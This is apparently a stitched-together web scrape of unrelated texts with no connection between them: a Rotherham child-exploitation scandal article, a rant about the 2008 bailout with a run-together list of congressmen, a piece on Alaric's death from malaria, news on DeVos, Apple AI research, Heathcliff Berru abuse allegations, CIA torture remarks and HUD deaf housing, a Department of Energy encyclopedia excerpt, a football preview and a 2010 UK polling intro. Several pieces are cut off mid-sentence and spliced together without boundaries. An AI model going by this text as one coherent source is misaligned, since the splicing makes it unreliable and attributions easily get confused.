exploitation in Rotherham, she replied: “Prosecution is the icing on the cake.” Mrs Thacker lives with her husband in a four-bedroomed house in Shipley, West Yorkshire. Among the others who played key roles during the time the child sexual exploitation was going on were: Dr Sonia Sharp Joyce Thacker’s immediate predecessor as strategic director of children's services, serving between 2005 and 2008. Professor Jay said yesterday that by 2005 “nobody could say ‘I didn’t know’” about child sexual exploitation because of a wealth of information available to council managers, including two previous reports which had identified the problem by then. Yet during Dr Sharp’s leadership scores and perhaps hundreds of children were being abused in Rotherham. Dr Sharp has since emigrated to Australia and now holds a senior post at the Victoria Department of Education in Melbourne. She was hired as a department deputy secretary in March 2012 to head its Early Childhood and School Education Group. When the media in Australia became aware of her background, she said: “Addressing sexual abuse was taken extremely seriously by all concerned and we were committed to taking action to prevent this awful and damaging blight on children’s lives.” A spokesman for the state’s education department said at the time: “Since arriving in Australia, Dr Sharp continues to be a highly regarded and respected leader in education and early childhood development.” Diane Billups As executive director of education from 2001 to 2005, Mrs Billups, 67, spent the last 15 months of her career setting up a children and young people’s service to bring together education, social care and health for the first time. When she retired in 2005, she said: “Nothing is more important than the well-being of every individual child, particularly the most vulnerable." After a 36-year career in which she was awarded an MBE for her services to education, Mrs Billups was praised by Roger Stone, the council leader who resigned on Tuesday over the child abuse scandal, and Georgina Boyes, the cabinet member for education. Councillor Boyes said at the time: “Di Billups has done a tremendous job for both the council and, more importantly, for the children and young people of Rotherham.” A man who answered the door at her home near Scunthorpe last night said she was unavailable for comment. Paul Lakin The current cabinet member for children has been on the council since 1999, but claims he did not know the full extent of the scandal before the report came out. He also denied constituents or victims had raised it with him. The Labour councillor, who worked as a manager in the steel industry until he retired in 2009, told BBC Radio 4’s Today programme: “I am one of the councillors who has seen this through. It is about what councillors might have known. If people do not know, then they are not really in a position to do anything about it. "I can categorically say that until I came into children's services in 2010 I was not aware of the depth and breadth of child exploitation in Rotherham." Asked why no constituents or victims had ever raised the issue with him, Mr Lakin, 45, said: "I don't know... there are clearly some issues.” Clair Pyper The interim director of safeguarding children and families from 2012-2014, Mrs Pyper landed the job after taking voluntary redundancy from Slough Borough Council where she got a £239,000 payoff. During her time at Slough, where she was director of education and children’s services, an Ofsted report found inadequate risk assessment and a failure by managers to instigate proper contingency planning for children subject to child protection plans. Mrs Pyper, 60, now works as a consultant after setting up her own company in Ipswich two years ago. Jahangir Akhtar The former deputy leader of Rotherham Council resigned in August last year following a report in the Times newspaper that said he knew about a relationship between a 14-year-old girl and one of his relatives. He later resumed his post after being cleared by the police of any blame, but lost his seat in the May elections to Ukip. A former taxi driver, during his trial the 53-year-old was given a glowing reference from a former Rotherham police commander.Thousands of protestors demonstrated agains the proposed $700 Billion bail out plan for the finance and banking industry, yet the national news media in America didn't even report it! Why not? It seems strange that this barely generated a gander from the big news outlets like ABC, CNN, CBS, NBC etc. all of whom have a presence in New York City. Despite having such a large protest event occurring in their backyard, the major news media chose not to tell the American people about it. I had to stumble upon this on the internet to find out about it. That's really indicative of the pathetic state of affairs in the U.S. media today.The bailout is a colossal power grab and fraud completely lacking of oversight or transparency that will do nothing to restore the integrity of the financial and equity markets. It is designed to benefit only the engineers and creators of this crisis at a cost of potentially trillions of dollars to the taxpayer.Go to www.fedupusa.com for more information on the bailout and what it truly represents.Here is a list of members who voted in favor of the proposal. I suggest you all get on the phone and give them a piece of you mind.The battle is not over. The executive branch will surely try to get another vote on this bill before the end of the week.AckermanAllenAndrewsArcuriBachusBairdBaldwinBeanBermanBerryBishop (GA)Bishop (NY)BluntBoehnerBonnerBono MackBoozmanBorenBoswellBoucherBoyd (FL)Brady (PA)Brady (TX)Brown (SC)Brown, CorrineCalvertCamp (MI)Campbell (CA)CannonCantorCappsCapuanoCardozaCarnahanCastleClarkeClyburnCohenCole (OK)CooperCostaCramerCrenshawCrowleyCubinDavis (AL)Davis (CA)Davis (IL)Davis, TomDeGetteDeLauroDicksDingellDonnellyDoyleDreierEdwards (TX)EhlersEllisonEllsworthEmanuelEmersonEngelEshooEtheridgeEverettFarrFattahFergusonFossellaFosterFrank (MA)GilchrestGonzalezGordonGrangerGutierrezHall (NY)HareHarmanHastings (FL)HergerHigginsHinojosaHobsonHoltHondaHooleyHoyerInglis (SC)IsraelJohnson, E. B.KanjorskiKennedyKildeeKindKing (NY)KirkKlein (FL)Kline (MN)LaHoodLangevinLarsen (WA)Larson (CT)LevinLewis (CA)Lewis (KY)LoebsackLofgren, ZoeLoweyLungren, Daniel E.Mahoney (FL)Maloney (NY)MarkeyMarshallMatsuiMcCarthy (NY)McCollum (MN)McCreryMcDermottMcGovernMcHughMcKeonMcNerneyMcNultyMeek (FL)Meeks (NY)MelanconMiller (NC)Miller, GaryMiller, GeorgeMollohanMoore (KS)Moore (WI)Moran (VA)Murphy (CT)Murphy, PatrickMurthaNadlerNeal (MA)OberstarObeyOlverPallonePelosiPerlmutterPeterson (PA)PickeringPomeroyPorterPrice (NC)Pryce (OH)PutnamRadanovichRahallRangelRegulaReyesReynoldsRichardsonRogers (AL)Rogers (KY)RossRuppersbergerRyan (OH)Ryan (WI)SarbanesSaxtonSchakowskySchwartzSessionsSestakShaysSimpsonSiresSkeltonSlaughterSmith (TX)Smith (WA)SnyderSouderSpaceSpeierSprattTancredoTannerTauscherTownsTsongasUptonVan HollenVelázquezWalden (OR)Walsh (NY)Wasserman SchultzWatersWattWaxmanWeinerWeldon (FL)WexlerWilson (NM)Wilson (OH)Wilson (SC)WolfOne of the key figures in European history is also someone you might never have heard of. Born around 370 AD, Alaric became king of the Visigoths - a group of nomadic, Germanic tribes - in his 20s. His first set of victories, in 395 AD, included sacking the port of Athens, Corinth, and Sparta in Greece. In 401, Alaric and his troops invaded Italy, and by 410 AD, after liberating tens of thousands of Gothic slaves in Rome, he besieged the city and ransacked it for three days in August. Although Alaric and the Visigoths did not actually destroy much of the city or its people, the sack of Rome is still seen by many as the harbinger of the fall of the western Roman Empire. After the successful siege of Rome, Alaric moved south through Calabria on his way to North Africa, a major source of grain for the Empire. But he died in modern-day Cosenza (ancient Consentia) in the toe of Italy, after a high fever. According to the 6th century AD historian Jordanes whose work forms the basis of our contemporary understanding of the Goths, Alaric was buried according to the custom of the Visigoths, under the riverbed of the Busento. Slaves helped divert the river's water so that the grave could be dug, and Alaric's possessions - potentially including the menorah stolen by Romans from the Temple of Jerusalem in 70 AD - were buried with him. After the burial, the river was un-dammed and the slaves who carried out the funeral were executed so that the location of the tomb would be lost to history. The question of Alaric's cause of death, though, has been nagging at scholars for years. Alaric was hale and hearty after the sack of Rome, planning additional campaigns to the south. And fever is too generic a cause of death. What really killed the most famous warlord in all of classical antiquity? After combing through historical, medical, and epidemiological sources, researchers Francesco Galassi and colleagues think they have an answer, which they detail in an upcoming issue of the European Journal of Internal Medicine. Unfortunately, there are no good contemporaneous sources for Alaric's life, and Jordanes is the only historian whose work we have who comments on Alaric's death. Galassi and colleagues quote Jordanes, who writes that "subito inmatura morte praeventus rebus humanis excessit... dum secum, quid ageret, deliberaret" -- suddenly, dying of an untimely death, he left human cares... while he was pondering on what he should do next. The repetition of ideas of suddenness in this short phrase make clear, Galassi and colleagues note, that no one expected Alaric to die. Read More: Julius Caesar's Health Debate Reignited - Stroke or Epilepsy? So what felled Alaric? Sudden death, particularly in antiquity, can be attributed to a number of causes -- heart attack, stroke, or aortic aneurism could suddenly kill someone as young and healthy as Alaric, but the historical sources don't mention anything in his behavior, actions, or family history to suggest those reasons. Rather, contemporary historians surmise that a severe form of malaria caused by Plasmodium falciparum that was endemic to central and south Italy could have killed him. Malaria, of course, is well know for the fevers it causes, as well as for other symptoms such as nausea, vomiting, chills, and malaise. While many people contract malaria and survive, to some extent, this depends on the person's immunity. "Individuals with semi-immunity in hyper-endemic and endemic areas can spontaneously clear the parasite," Galassi and colleagues explain. But people coming to ancient Italy from areas without malaria were at great risk. "Several cases of sudden deaths in travellers coming from malaria-free areas have been reported in Africa," they further note, and "severe falciparum malaria progresses to death within hours or days from the onset of the symptoms, with major complications such as cerebral impairment, pulmonary edema, acute renal failure, and severe anemia." Other infectious diseases could have caused Alaric's death -- typhoid fever, gastroenteritis, or even the flu -- but no ancient historian mentions epidemics of these sorts of conditions ravaging Alaric's troops. Rather, Galassi and colleagues write, "Alaric and his army came from regions where falciparum malaria was not endemic. Therefore, the risk of contracting malignant malaria in a hyper-endemic region, and eventually being killed by it, was extremely high." Co-author Raffaella Bianucci of the University of Turin told me that "malaria could kill both elite and non-elite individuals. However, the poorer, those who were malnourished and had weakened immune systems, and those whose daily work brought them in great contact with the areas where anopheles mosquitoes breed were at higher risk." Trooping through wet, marshy areas of southern Italy would certainly have brought Alaric into contact with the disease. Alaric could have become infected with malaria anywhere in his Italian travels, even in Rome while he was sacking it. The disease was well known in ancient times and wasn't fully eradicated from Italy until 1970. But Calabria, in Italy's toe where Alaric died, "was classified as the most affected region, with active transmission foci concentrated especially along the coasts and the valleys of its broad streams," the researchers write. "A fatal form of malaria contracted during his stay in Calabria seems to be the most probable cause of the king's death." This form of research -- in which historical records are mined for information about the death of an important person or a group of people -- is a relatively new branch of palaeopathology called palaeo-pathography or palaeo-nosography. Or you can just call them "retrospective diagnoses." Galassi finds these diagnoses to be a useful tool, he tells me, "to reassess the presentation and evolution of diseases throughout history." The focus on famous people is necessary, he notes, because their biographies "abound with details of paramount medical relevance. We don't study a great general or emperor because of their immortal fame, but rather because vital information about disease in the past happened to be included in their biographical accounts." Bianucci agrees, telling me that "historical and medical accounts coupled with modern diagnostic techniques allow scholars to shed light on the presence of a specific disease and its prevalence in a given time frame." Historical records give us one line of evidence into disease in the past, but skeletons themselves hold an additional key. Unfortunately, Galassi tells me, "many attempts to locate Alaric's burial have been unsuccessfully made over the years. The possibility of studying his mortal remains would be a great treasure of biomedical information, and even a unique chance to learn more about malaria in antiquity. But unless these remains are found, Galassi and colleagues conclude in their article, "no further speculations can be done on his premature demise." The death of the infamous sacker of Rome remains somewhat mysterious. To read more, see: Galassi, F.M., R. Bianucci, G. Gorini, G.M. Paganotti, M.E. Habicht, and F.J. Rühli, "The sudden death of Alaric I (c. 370-410 AD), the vanquisher of Rome: A tale of malaria and lacking immunity," in the European Journal of Internal Medicine early view, DOI 10.1016/j.ejim.2016.02.020.PoliZette DeVos Confirmation Marks Crushing Defeat For Unions Organized labor reeling after massive campaign to block Trump's pick for education secretary Tuesday’s historic 51-50 confirmation vote of Betsy DeVos to be the next secretary of education not only highlights the impotence of the Democratic minority in the Senate — it marks a crushing defeat for the teachers unions. Union leaders went all out to defeat DeVos, a school choice activist from Michigan. Democrats staged a 24-hour talk-a-thon in the Senate in an attempt to scuttle the nomination. They managed to persuade two Republicans to join a united Democratic caucus. But Vice President Mike Pence cast the tie-breaking vote, likely ending the Democrats’ last best hope to stop any of President Donald Trump’s Cabinet nominees. “This was their best shot. They lost. They should stop trying to obstruct this administration.” Advertisement “This was their best shot,” said Jason Pye, a spokesman for the advocacy group FreedomWorks. “They lost. They should stop trying to obstruct this administration.” DeVos is expected to be sworn in later Tuesday. Randi Weingarten, president of the American Federation of Teachers, urged DeVos to visit public schools to see education strategies that work. “But it’s more likely we’ll now hear the same trashing of public schools that the disrupters, the privatizers, and the austerity hawks have used for the last two decades. That makes this a sad day for children,” she said in a prepared statement. Lily Eskelsen García, president of the National Education Association, tried to put a positive spin on the vote. Advertisement “Americans across the nation drove a bipartisan repudiation of the Trump-DeVos agenda for students and public education,” she said in a statement. “Today’s outcome marks only the beginning of the resistance.” [lz_graphiq id=h8GEQ8ZEZvv] CNN reporters and commentators emphasized all day long the fact that it was the first time a vice president has had to cast a tie-breaking vote to confirm a nominee. But they left out some important context: Until former Senate Majority Leader Harry Reid (D-Nev.) gutted the filibuster rule for Cabinet nominees, the minority party could scuttle nominations that did not attract widespread support. That has happened plenty of times in the past. On Tuesday, though, Republican senators from across the spectrum praised DeVos. [lz_related_box id=”279956″] Advertisement “Parents, teachers, administrators, and students all know that one-size-fits-all Washington education standards are not working and it is time to return control back to states and communities,” Sen. David Perdue (R-Ga.) said in a statement. “Betsy DeVos shares these same beliefs.” Added Sen. Lindsey Graham (R-S.C.) in his own statement: “Mrs. DeVos has been involved in education reform for decades. She will bring a new perspective to ensure every child can attend a school that prepares them for the future.” White House press secretary Sean Spicer blasted the “childish tactics” Democrats used to try to maintain a “failed status quo” in education. “The fact that we had to get to the point where the vice president had to be pulled in to overcome the Democrats’ historic and partisan logjam of the president’s qualified nominee is another glaring reminder of the unprecedented obstruction that Senate Democrats have engaged in throughout this process,” he said at his daily briefing. The National Alliance for Public Charter Schools praised the confirmation vote. Advertisement “We believe that Secretary DeVos will put students and families first and we look forward to working with her to ensure each child has access to a high-quality public school and a safe and supportive environment in which to learn,” the organization said in a statement. Pye, of FreedomWorks, said he hopes the leadership change at the Department of Education give a boost to school reform legislation that has been introduced in Congress. “You’re going to see school choice back in the conversation again,” he said.A theme emerged when Apple’s director of artificial intelligence research outlined results from several of the company’s recent AI projects on the sidelines of a major conference Friday. Each involved giving software capabilities needed for self-driving cars. Ruslan Salakhutdinov addressed roughly 200 AI experts who had signed up for a free lunch and peek at how Apple uses machine learning, a technique for analyzing large stockpiles of data. He discussed projects using data from cameras and other sensors to spot cars and pedestrians on urban streets, navigate in unfamiliar spaces, and build detailed 3-D maps of cities. The talk offered new insight into Apple’s secretive efforts around autonomous-vehicle technology. Apple received a permit from the California DMV to test self-driving vehicles in April, and CEO Tim Cook confirmed his interest in such technology in June. The scale and scope of any car project at Apple remains unclear. Salakhutdinov didn’t say how the projects he discussed Friday fit into any wider effort in automated driving, and a company spokesman declined to elaborate. Salakhutdinov showed data from one project previously disclosed in a research paper posted online last month. It trained software to identify pedestrians and cyclists using 3-D scanners called lidars used on most autonomous vehicles. Other projects Salakhutdinov discussed don't appear to have been previously disclosed. One created software that identifies cars, pedestrians, and the driveable parts of the road in images from a camera or multiple cameras mounted on a vehicle. Salakhutdinov showed images demonstrating how the system performed well even when raindrops spattered the lens, and could infer the position of pedestrians on the sidewalk when they were partially screened by parked cars. He cited that last result as an example of recent improvements in machine learning for some tasks. “If you asked me five years ago, I would be very skeptical of saying ‘Yes you could do that,’” he said. Another project Salakhutdinov discussed involved giving software moving through the world a kind of sense of direction, a technique called SLAM, for simultaneous localization and mapping. SLAM is used on robots and autonomous vehicles, and also has applications in map building and augmented reality. A fourth project used data collected by sensor-laden cars to generate rich 3-D maps with features like traffic lights and road markings. Most prototype autonomous vehicles need detailed digital maps in order to operate. Salakhutdinov also mentioned work on making decisions in dynamic situations, a topic illustrated on his slides with a diagram of a car plotting a path around a pedestrian. Apple’s event took place toward the end of a week-long conference on machine learning called NIPS. Nearly 8,000 people attended, an increase of almost five times since 2012. There was a strong showing from recruiters—including Elon Musk—hoping to lure machine learning engineers, highly prized employees in short supply. The AI talent shortage was a primary reason for Apple’s event Friday, which attracted people from top universities such as MIT and Stanford, and companies including Alphabet and Facebook. It also included talks from engineers about how machine learning is used inside Apple products such as the Siri personal assistant. Carlos Guestrin, Apple’s director of machine learning, and a professor at University of Washington, spoke about the powerful computer systems and large datasets available to machine-learning engineers who join the company. He won applause by announcing that Apple is open sourcing software to help app developers use machine learning first developed at his startup Turi, acquired by Apple last summer. Friday’s event, and Salakhutdinov’s discussion of research results, show how Apple is being forced to relax its famed secrecy as it competes for talent with rivals such as Google. Salakhutdinov joined Apple in October 2016, although he retains a professorship at Carnegie Mellon University. Soon after, at last year’s NIPS conference, he announced that his researchers would be able to publish academic papers, like their counterparts at Facebook and Google. It was a seen as a savvy concession to the academic bent of AI experts even inside industry. Apple’s AI thaw has proceeded slowly, though. A company spokesman pointed to five academic machine learning papers released since Salakhutdinov joined the company, but said that Apple doesn’t maintain a count of such publications. The company has also started sharing some of its work on a technical blog branded as the Apple Machine Learning Journal. By contrast, Alphabet’s AI research groups contributed to more than 60 accepted papers at NIPS this week alone. To keep pace, or get ahead, of competitors in AI, Apple may need to share more with them.Take the case of Heathcliff Berru, an indie-music publicist who’s now alleged to have made unwanted attempts at a number of women over the last few years. This week, Amber Coffman of the band Dirty Projectors recounted on Twitter how Berru groped her and bit her hair at a bar. Soon other testimonials flooded in from women in bands, at PR firms, and elsewhere in the rock scene. Some said that Berru or one of his friends roofied them. Others told stories that amounted to him attempting rape. Berru has now resigned from Life or Death PR, the firm he cofounded and that has represented a number of high-profile artists including D’Angelo, Frank Ocean, GZA, Cloud Nothings, Killer Mike, and Wavves, many of whom quickly severed ties with the company. In a statement, Berru blamed his actions of alcohol and drugs, said he’d go to rehab, apologized to any women he “offended,” and included a line so deadpan and strange that it might be a passive-aggressive joke: “It’s time to put a stop to all of this. Create a world with one less inappropriate man.” Regardless of his sincerity and of whether it’s okay to chalk up a pattern of sexual assault to partying too hard, it does appear he has lost his career and reputation for now. The scandal has caused some soul-searching among members of the indie-music world. It appears that lots of people knew about or had heard about Berru regularly trying to take advantage of women, but that there had been no consequences till now. So, according to the allegations, he had, yes, acted with impunity. “Everyone is all, ‘I knew he was a creep but wow,’” tweeted Judy Miller Silverman, another well-known indie publicist. “You know, you still hired him and you still supported him. And some of you worked for him.” The motif of silence and complicity is common when it comes to harassment and assault in rock. In a horrifying Vice piece last October, Rachel Grace Almeida gathered up a slew of stories from women in the industry, many of which resemble the ones that have surfaced about Berru. They range from intimate and personal—about, say, a guy whose abused girlfriend didn’t speak up because he was friends with her bandmates—to higher-up: a boss making advances toward a younger female employee. None of the women or men in the article were referred to by their real names. At the end, Almeida offered a prescription for how to change things: As it stands, there is one thing that can be done to help prevent this: a deconstruction of the fear of powerful men. Stories need to be told and people need to be called out if someone has destroyed another person’s life. A man having a big job at a festival shouldn’t take priority over the emotional and mental stability of another human. Coffman has now proven the efficacy of this idea. She called Berru out. Other women followed. For now, it appears, he has faced consequences. Maybe that will be a warning to other men.Rep. Jan Schakowsky (D-Ill.), a top Democrat on the intelligence committee, dismissed President Obama's defense of CIA officials who tortured detainees under orders from the White House. Obama, who released details of the torture practices Thursday, said that CIA personnel acting on the legal advice of the Bush administration would not come in for "retribution." Schakowsky, in an interview with the Huffington Post, says she's heard that argument before. "This notion that 'I was just obeying orders' -- I don't want to compare this to Nazi Germany, but we've come to almost ridicule the notion that when horrific acts have been committed that people can use the excuse that, 'Well, I was just following orders,'" she says. Schakowsky is chairwoman of the House Permanent Select Committee on Intelligence's Subcommittee on Oversight and Investigations. Schakowsky said that she has yet to speak to the committee chairman, but has instructed her staff to begin an investigation into the allegations if the full committee does not. "There should be an open mind of what to do with information that we get from thorough investigations," she says. Schakowsky also notes that the administration's emphasis on looking to the future rather than the past defies logic. If criminal prosecutions only looked to the future, there could be no criminal prosecutions. "All crimes are in the past, right? So, obviously if you're prosecuting crimes, it's not something that's going to be done, it's something that's been done," she says. Private contractors who tortured detainees, however, might not get the same immunity that CIA officials have coming their way. Schakowsky says she spoke with Deputy Attorney General David Ogden on Thursday. He told her that the Justice department is "still examining" whether to provide the same immunity to contractors. (A justice department spokesman didn't immediately return an e-mail from the Huffington Post.) "In general, I think that contractors need to be held accountable for what they do, but particularly the inventors of the program," says Schakowsky, referencing two psychologists highlighted in Jane Mayer's investigation of Guantanamo, who developed the program of torture.Arizona is defying a federal order to eliminate apartments for deaf seniors at a housing complex built specifically -- for the deaf. "I think it's about the most ridiculous thing I've heard in a while," said Sen. Jeff Flake, R-Ariz., who attempted to negotiate the impasse. "There are a lot of stories of out-of-control regulators, but this just seems to be going to the extreme." A 2005 federal study found that the U.S. had virtually no affordable housing for the deaf. So the federal government helped build Apache ASL Trails, a 75-unit apartment building in Tempe, Ariz., designed specifically for the deaf. Ninety-percent of the units are currently occupied by deaf and deaf-blind seniors. But now, the federal Department of Housing and Urban Development says Apache ASL Trails violates civil rights law -- because it shows a preference for the hearing-impaired. "A preference or priority based on a particular diagnosis or disability and excluding others with different disabilities is explicitly prohibited by HUD's Section 504 regulations," says a HUD memo about the project. "There is no legal authority contained in any of Apache Trails funding to permit such a priority or preference." HUD is threatening to pull all federal housing aid to Arizona unless it limits the number of hearing-impaired residents to 18 people. The agency would not forcibly remove current residents, but wants many of their units to be blocked off to deaf residents in the future once they leave. However, when HUD approved and helped fund the project in 2008, it did so knowing that the property was specifically "designed for seniors who are deaf, hard of hearing and deaf blind." "It's impossible to walk into this building and not see that real people were hurt and continue to be hurt," said Mary Vargas, an attorney for the residents. The National Association for the Deaf has also stepped in, calling HUD's actions "atrocious" and "a tragic irony." "HUD is forcing deaf and hard of hearing residents to live in isolation and firetraps," said the Association's CEO Howard Rosenblum in a letter to HUD Secretary Shaun Donovan. "There is no statute or regulation that mandates any 25 percent quota." State housing director Michael Trailor refuses to comply with the federal orders. "Quite frankly, the attorneys I dealt with at HUD I would characterize as ignorant and arrogant and much worse, they are powerful," Trailor told Fox News. "And if they worked for me, I would have fired them a long time ago." State taxpayers and the apartment's developer have spent $500,000 so far fighting HUD. After two years of negotiation, Trailor met with Donovan earlier this year hoping to resolve the dispute. Trailor said: "He looked me in the eye and said, 'if you say we have taken too long to resolve this, you are right. If you say we haven't handled this very well, you're right. We're committed to solving this -- but to do so can you be patient?'" Trailor asked "what patience means in terms of time," and was told it would be a matter of weeks. "It's now been five months," he said. All 74 units at Apache ASL Trails accommodate wheelchairs. Blinking lights signal when the doorbell rings and when utilities like the garbage disposal and air conditioning are running. A video phone lets residents "talk" with friends. "It's nice to have a life that's equivalent to other people that are not deaf," said resident Linda Russell. "This building is designed for deaf people, by deaf people, and we know what is best for our needs. And people that don't understand our needs, should not be putting themselves in decision-making positions for us." HUD provided the Arizona
greenhouse gases" and "employ new or significantly improved technologies as compared to technologies in service in the United States at the time the guarantee is issued".[19] In loan guarantees, a conditional commitment requires to meet an equity commitment, as well as other conditions, before the loan guarantee is completed.[20] The United States Department of Energy, the Nuclear Threat Initiative (NTI), the Institute of Nuclear Materials Management (INMM), and the International Atomic Energy Agency (IAEA) partnered to develop and launch the World Institute for Nuclear Security (WINS) in September 2008. WINS is an international non-governmental organization designed to provide a forum to share best practices in strengthening the security and safety of nuclear and radioactive materials and facilities.[21] Recent [ edit ] On March 28, 2017 a supervisor in the Office of International Climate and Clean Energy asked staff to avoid the phrases "climate change," "emissions reduction," or "Paris Agreement" in written memos, briefings or other written communication. A DOE spokesperson denied that phrases had been banned.[22][23] Organization [ edit ] Structure and positions [ edit ] Organizational chart of the U.S. Department of Energy as of July 2015 Energy [ edit ] The department is under the control and supervision of a United States Secretary of Energy, a political appointee of the President of the United States. The Energy Secretary is assisted in managing the department by a United States Deputy Secretary of Energy, also appointed by the president, who assumes the duties of the secretary in his absence. The department also has three under secretaries, each appointed by the president, who oversee the major areas of the department's work. The president also appoints seven officials with the rank of Assistant Secretary of Energy who have line management responsibility for major organizational elements of the Department. The Energy Secretary assigns their functions and duties. Symbolism in the seal [ edit ] Excerpt from the Code of Federal Regulations, in Title 10: Energy:[25] The official seal of the Department of energy "includes a green shield bisected by a gold-colored lightning bolt, on which is emblazoned a gold-colored symbolic sun, atom, oil derrick, windmill, and dynamo. It is crested by the white head of an eagle, atop a white rope. Both appear on a blue field surrounded by concentric circles in which the name of the agency, in gold, appears on a green background." "The eagle represents the care in planning and the purposefulness of efforts required to respond to the Nation's increasing demands for energy. The sun, atom, oil derrick, windmill, and dynamo serve as representative technologies whose enhanced development can help meet these demands. The rope represents the cohesiveness in the development of the technologies and their link to our future capabilities. The lightning bolt represents the power of the natural forces from which energy is derived and the Nation's challenge in harnessing the forces." "The color scheme is derived from nature, symbolizing both the source of energy and the support of man's existence. The blue field represents air and water, green represents mineral resources and the earth itself, and gold represents the creation of energy in the release of natural forces. By invoking this symbolism, the color scheme represents the Nation's commitment to meet its energy needs in a manner consistent with the preservation of the natural environment." Facilities [ edit ] The Department of Energy operates a system of national laboratories and technical facilities for research and development agency, as follows: Other major DOE facilities include: Other: Nuclear weapons sites [ edit ] The DOE/NNSA has federal responsibility for the design, testing and production of all nuclear weapons. NNSA in turn uses contractors to carry out its responsibilities at the following government owned sites: Related legislation [ edit ] Budget [ edit ] President Barack Obama unveiled on May 7, 2009, a $26.4 billion budget request for DOE for fiscal year (FY) 2010, including $2.3 billion for the DOE Office of Energy Efficiency and Renewable Energy (EERE). The budget aims to substantially expand the use of renewable energy sources while improving energy transmission infrastructure. It also makes significant investments[clarification needed] in hybrids and plug-in hybrids, in smart grid technologies, and in scientific research and innovation.[28] As part of the $789 billion economic stimulus package in the American Recovery and Reinvestment Act of 2009, Congress provided Energy with an additional $38.3 billion for fiscal years 2009 and 2010, adding about 75 percent to Energy's annual budgets. Most of the stimulus spending was in the form of grants and contracts.[citation needed] For fiscal year 2013, each of the operating units of the Department of Energy operated with the following budgets:[29] Division Funding Nuclear Security $11.5 Energy and Environment $9.5 Science $4.9 Management $0.25 Other $0.85 Total $28 In March 2018, Energy Secretary Rick Perry testified to a Senate panel about the Trump administration’s DOE budget request for fiscal year 2019. The budget request prioritizes nuclear security while making large cuts to energy efficiency and renewable energy programs. The proposal is a $500 million in crease in funds over fiscal year 2017. It "promotes innovations like a new Office of Cybersecurity, Energy Security, and Emergency Response (CESER) and gains for the Office of Fossil Energy. Investments would be made to strengthen the National Nuclear Security Administration and modernize the nuclear force, as well as in weapons activities and advanced computing." However, the budget for the Office of Energy Efficiency and Renewable Energy would be lowered to $696 million under the plan, down from $1.3 billion in fiscal year 2017. Overall, the department’s energy and related programs would be cut by $1.9 billion.[30] Programs and contracts [ edit ] Energy Savings Performance Contract [ edit ] Energy Savings Performance Contracts (ESPCs) are contracts under which a contractor designs, constructs, and obtains the necessary financing for an energy savings project, and the federal agency makes payments over time to the contractor from the savings in the agency's utility bills. The contractor guarantees the energy improvements will generate savings, and after the contract ends, all continuing cost savings accrue to the federal agency.[31] Energy Innovation Hubs [ edit ] Energy Innovation Hubs are multi-disciplinary meant to advance highly promising areas of energy science and technology from their early stages of research to the point that the risk level will be low enough for industry to commercialize the technologies.[28] The Consortium for Advanced Simulation of Light Water Reactors (CASL) was the first DOE Energy Innovation Hub established in July 2010, for the purpose of providing advanced modeling and simulation (M&S) solutions for commercial nuclear reactors.[32] The 2009 DOE budget includes $280 million to fund eight Energy Innovation Hubs, each of which is focused on a particular energy challenge. Two of the eight hubs are included in the EERE budget and will focus on integrating smart materials, designs, and systems into buildings to better conserve energy and on designing and discovering new concepts and materials needed to convert solar energy into electricity. Another two hubs, included in the DOE Office of Science budget, were created to tackle the challenges of devising advanced methods of energy storage and creating fuels directly from sunlight without the use of plants or microbes. Yet another hub was made to develop "smart" materials to allow the electrical grid to adapt and respond to changing conditions.[28] In 2012, The DOE awarded $120 million to the Ames Laboratory to start a new EIH, the Critical Materials Institute, which will focus on improving the supply of rare earth elements, which is controlled by China.[33] Advanced Research Projects Agency-Energy [ edit ] ARPA-E was officially created by the America COMPETES Act, authored by Congressman Bart Gordon,[34] within the United States Department of Energy (DOE) in 2007, though without a budget. The initial budget of about $400 million was a part of the economic stimulus bill of February 2009.[35] Other [ edit ] List of Secretaries of Energy [ edit ] See also [ edit ] Notes [ edit ] References [ edit ]Man Utd are eight points behind City after 15 Premier League games Manchester derby, former City defender Danny Mills admits he would choose Ahead of the, former City defender Danny Mills admits he would choose Jose Mourinho as manager over Pep Guardiola for a one-off big game. United host City on Super Sunday, live on Sky Sports Premier League at 4.30pm, with Guardiola's side currently eight points ahead of their city rivals after 15 games. Mourinho has been criticised for setting up defensively in bigger games since moving to Manchester United in the summer of 2016, but Mills said on The Debate - Live that he would opt for the Portuguese boss over Guardiola in this situation. "I look at Mourinho sometimes and think he's equally as [much of a] genius [as Guardiola], but in a completely different way. He knows how to win one-off games. "If the argument is: in a one-off game, who do you want as manager? I'd go with Mourinho because he finds a way. Look at what he did at Porto, Inter, Chelsea time and time again. "The players he has put together at Man Utd are enormous. It's like Land of the Giants! They could be bully boys this weekend and look to physically steamroll City that way. "Mourinho has done it at more clubs, but in slightly different ways. Their records are equally as good, and it's very difficult to separate them. Mourinho sets up sometimes not to get beat, and it very rarely goes wrong for them." Guardiola's first season in England ended in a fourth-place finish for City, but he has started this Premier League campaign unbeaten, seeing his side score 46 goals in 15 games and drop just two points along the way. Mills is a keen admirer of Guardiola's management style and says he looks to improve players gradually, while Mourinho picks ready-made players for tactical battles. "You have to appreciate both styles. Pep's football is brilliant to watch, and you have to understand it takes an awful lot of intensity and preparation on the training ground. "I spoke to a few people behind the scenes at City a few weeks ago, and they said sometimes it takes him three or four attempts to get his message across to the players, how he wants them to play, drilling them time and time again. "The work rate they put in, the fear that they have that if they don't do it, they could get dropped. Not many managers can come in and do that. "There is a subtle difference between the two; Pep will improve you as an individual, which will help you as a team. Whereas Mourinho's recruitment is: 'What do I need tactically to win this game? I'll go and buy him, and him, and him.' "I'm not sure Mourinho has made players better like Pep has. Pep thinks about improving Raheem Sterling, De Bruyne, he has taken great players and made them better." Regarding the contest itself, Mills sees it as a 'free hit' for City, such has been their dominance this season and says if City win and open up an 11-point gap, there may be no way back for United. "It's almost a free hit for City. If City were to lose, it's not the end of the world, such is the gap. If United were to lose, I think you've almost handed Man City the title, and that's a huge difference in mentality. "And Mourinho will know that, if United lose, they could almost wave goodbye to the title." See Also: Mourinho and Silva absenceIn the run-up to the general election of 2010, several polling organisations carried out opinion polling in regards to voting intention in Great Britain (i.e. the UK excluding Northern Ireland, which is usually excluded from such voting intention surveys). Results of such polls are displayed below. The election took place on 6 May 2010, coinciding with the local elections. The previous general election was held on 5 May 2005. Tony Blair stood down as prime minister after 10 years in June 2007, and was succeeded by chancellor Gordon Brown. That autumn, the national media reported that an imminent general election was likely, putting all polling organisations, the press and political parties on an election footing, but he eventually announced that he would not seek a dissolution. According to many media and political figures, this was because he believed that Labour was likely to lose its majority in a snap general election, even though many opinion polls suggested that a fourth successive election win for Labour 